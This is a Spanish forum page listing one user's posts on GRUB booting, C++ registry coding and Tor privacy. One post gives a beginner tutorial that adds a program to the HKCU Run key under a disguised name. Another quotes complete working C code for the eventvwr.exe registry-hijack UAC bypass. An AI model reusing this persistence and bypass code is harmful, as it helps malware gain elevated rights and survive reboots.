Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Borito30

#331
Hola tengo como sistema en linux kali linux y con su grub pero el problema esque me reconoce mi windows 10, mi windows 7 de 64 bits pero no el otro de 32 bits que aparecen juntos cuando abro el de 64 bits con el mismo mbr por lo que pienso que ahí estará el problema creo o no se. Bueno hay alguna forma de añadir esta partición a mi disco ya que de momento no lo he conseguido solo puedo arrancarlo si arranco el otro sistema operativo de windows 7 usando su mbr.
Subo una imagen de las particiones que tengo y si sabrias como podria, captura:

El sistema es la particion 6.

El problema esta en que solo me esta reconociendo dos sistemas y un solo windows 7:


Pero tengo un windows mas son 2 windows 7 y parece que comparten el mismo mbr. por lo cual solo coge uno como podria resolverlo?
#332
Tienes razon lo crea perfectamente hice lo siguiente como me dijistes y funciona correctamente:
#include <windows.h>
#include <iostream>
string valor = "prueba";
string data = "prueba";
long crear = RegSetValueExA(key, valor.c_str(), 0, REG_SZ, (const BYTE*)data.c_str(),data.size());

Gracias.
#333
Hola tengo una duda estuve haciendo unas modificaciones porque quería simplemente una regla usando qt y como compilador visual studio 2013.. normalmente estaba acostumbrado hacer esto:

string subclave="Hello";
string valor="Anyone";
LPCTSTR _subclave = TEXT("");
LPCTSTR _valor = TEXT("");
long crear = RegSetValueEx(key, _subclave, 0, REG_SZ, (LPBYTE) _valor, strlen(_valor) * sizeof(char));


Pero me daba los siguientes errores:


Entonces hice los cambias que me pedia:
string hola="hola";
std::wstring stemp = std::wstring(hola.begin(), hola.end());
LPCWSTR subclave = stemp.c_str();
const char * valor = "hola";
long crear = RegSetValueEx(key, subclave, 0, REG_SZ, (LPBYTE) valor,     strlen(valor) * sizeof(char));


Pero me escribe la regla en chino y no se como solucionarlo

#334
Cita de: engel lex en  4 Febrero 2017, 01:04 AM
el navegador de tor, no importan la cookeis si no lo usas comod diario... a demás por defecto no guarda nada, no trae activado java, ni flash u otro...

realmente te deberías procupar por cosas como javascript XD que es tan peligroso como los plugins
Creo no se si me equivoco como todo sistema tendra su fallos de seguridad un ejemplo reciente:
https://apple5x1.com/fallo-de-seguridad-tor/
No es seguro al 100%. Pero si dudo que pueda ser localizado si tor tiene desactivado javascript.
#335
Es dificil que te rastreen si tenias desactivada las cookies, plugins Java, Flash o ActiveX, también es cierto que como todo tiene sus fallos de seguridad.
#336
perdon estaba equivocado entonces sino esta creada la key habra que crearla ok. vale.
#337
Cita de: Roast D en 30 Enero 2017, 14:03 PM
Muchas gracias, ese era el problema :3
Hola pero con esto no estas creando la clave si no me equivoco ya que tendrias que poner la subclave y su nombre y no veo que las pongas todavia? como sería entonces?
#338
Hola esto es un codigo de como podeis crear una regla en registro usando solamente c++. Viene con comentarios para que podais. Es para novatos.

Código (cpp) [Seleccionar]
#include <iostream>
#include <windows.h>
#include <conio.h>

using namespace std;

int main(int argc, char *argv [])
{
//asignamos key el valor nulo
 HKEY key = 0;
//creamos la regla
RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&key)
 //elegimos la ruta donde se creara
 LPCTSTR ruta = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\");
 //con status podemos saber si la regla se creo correctamente
 long status = RegOpenKey(HKEY_CURRENT_USER, ruta, &key);
 if (status != 0)
 {
   cout << "Win error: " << GetLastError() <<  endl;
 }
 else
 {
   //nombre de nuestra subclave
   string subclave="System";
   //valor de la subclave
   string valor="C:\\Windows\\tuprograma.exe";

   //hacemos la conversion del nombre de la subclave y la subclave
   LPCTSTR _subclave = TEXT(subclave.c_str());
   LPCTSTR _valor = TEXT(valor.c_str());
   long crear = RegSetValueEx(key, _subclave, 0, REG_SZ, (LPBYTE) _valor, strlen(_valor) * sizeof(char));
   if (crear != 0)
   {
       //si falla sera porque no teneis permisos o crear es diferente a 0
     cout << "Win error: " << GetLastError() << endl;
   }
   else
   {
       //se creo correctamente ya que crear vale 0 que es el valor creado
     cout << "Subclave creada correctamente" << endl;
   }
 }

 RegCloseKey(key);
 //hacemos un getch para que no se cierre nuestro programa y ver que se creo //correctamente si quereis lo podeis quitar
 _getch();
}
#339
Cita de: engel lex en 29 Enero 2017, 01:00 AM
a mi no me gustan ejercicios, me parecen medio absurdos....

has challenges, has aplicaciones utiles para ti... hay juegos de programar, aunque no son en C/C++ mejoras tu algoritmia y es casi más importante que saber el codigo en si mismo
totalmente de acuerdo programa cosas que te deviertan creo que cuando uno se divierte aprende mil veces mas :D. y lo mas dificil en mi en la programacion es saber donde esta el fallo o donde me equivoque o como corregir el programa para que funcione como yo quiero. al menos en mi caso.
#340
no me crea la regla en registro
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

/*
* Pretty standard code to recursively nuke a Reg Key
*/

int RegDelnodeRecurse (LPTSTR lpSubKey) {
   LPTSTR lpEnd;
   LONG lResult;
   DWORD dwSize = MAX_PATH;
   TCHAR szName[MAX_PATH];
   HKEY hKey;
   FILETIME ftWrite;

   lResult = RegDeleteKey(HKEY_CURRENT_USER, lpSubKey);

   if (lResult == ERROR_SUCCESS) return 1;

   lResult = RegOpenKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, KEY_READ, &hKey);

   if (lResult != ERROR_SUCCESS) return lResult == ERROR_FILE_NOT_FOUND;

   lpEnd    = lpSubKey + lstrlen(lpSubKey);
   *lpEnd++ = '\\';
   *lpEnd   = '\0';

   if (RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite) == ERROR_SUCCESS) {
       do {
           strcpy(lpEnd, szName);
           if (!RegDelnodeRecurse(lpSubKey)) break;
           lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite);
       } while (lResult == ERROR_SUCCESS);
   }

   lpEnd--;
   *lpEnd = TEXT('\0');

   RegCloseKey(hKey);

   return RegDeleteKey(HKEY_CURRENT_USER, lpSubKey) == ERROR_SUCCESS;
}

/*
* Wrapper for above
*/

int RegDelnode() {
   TCHAR szDelKey[MAX_PATH*2] = "Software\\Classes\\mscfile";
   return RegDelnodeRecurse(szDelKey);
}

void __c_UAC() {
   char curPath[MAX_PATH], evtVwr[MAX_PATH];
   HKEY attackKey;
   SHELLEXECUTEINFO exInfo;

   GetCurrentDirectory(MAX_PATH, curPath);
   strcat(curPath, "\\foobar.exe");


   sprintf(evtVwr, "%s\\System32\\eventvwr.exe", getenv("SYSTEMROOT"));

   if(!RegDelnode()) return;
   if(RegCreateKey(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command", &attackKey)!=ERROR_SUCCESS) return;

   RegSetValueEx(attackKey, "", 0, REG_SZ, curPath, strlen(curPath));

   exInfo.lpVerb       = "open";
   exInfo.lpFile       = evtVwr;
   exInfo.nShow        = 0;
   exInfo.fMask        = SEE_MASK_NOCLOSEPROCESS;
   exInfo.cbSize       = sizeof(SHELLEXECUTEINFO);
   exInfo.hwnd         = 0;
   exInfo.lpParameters = 0;
   exInfo.lpDirectory  = 0;
   exInfo.hInstApp     = 0;

   ShellExecuteEx(&exInfo);

   Sleep(5000);

   TerminateProcess(exInfo.hProcess, 0);

   RegCloseKey(attackKey);
   RegDelnode();
}

int main(int argc, char *argv[]) {
   __c_UAC();
   return 0;
}


captura:


Referencia:
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

Como podeis ver no estoy muy familiarizado con c. En c++ me resulta mas facil pero como esta programado en c no logro como hacerlo correctamente.